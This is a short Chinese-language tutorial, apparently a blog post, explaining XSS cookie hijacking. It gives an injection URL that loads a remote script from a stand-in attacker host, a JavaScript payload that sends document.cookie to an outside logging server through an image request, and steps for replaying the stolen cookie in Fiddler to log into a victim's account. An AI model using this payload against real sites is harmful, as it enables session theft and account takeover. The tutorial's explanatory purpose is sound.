完成具体功能的恶意脚本(javaScript、Flash 等)称为 XSS Payload。黑客会通过这些脚本,来控制用户的浏览器。劫持 Cookie 就是一种 XSS Payload。
Cookie 中,一般加密存放着当前用户的登陆凭证。如果 Cookie 被劫持,那么黑客就可以不使用密码,直接登陆到用户的账号中。
1 窃取 Cookie
首先先在存在 XSS 漏洞的网站,加载一段远程脚本,形如:
http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script>
XSS Payload 写在 malice.js 中,这样就可以避免直接在 URL 参数中写入大量的脚本代码。
malice.js 内容:
var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。
在此,我们动态创建了一个图片标签,并把 cookie 参数作为对象,发送给后端服务器。
这样就完成了窃取 Cookie 的整个过程。
2 利用 Cookie 登陆账户
一个网站,如果还未登录,一般在右上角有个 “登录” 链接:
假设已经得到了某个账户的 Cookie 信息,那么就可以在 Fiddler 中,模拟 Get 请求:
然后就可以成功登陆网站咯:
网友评论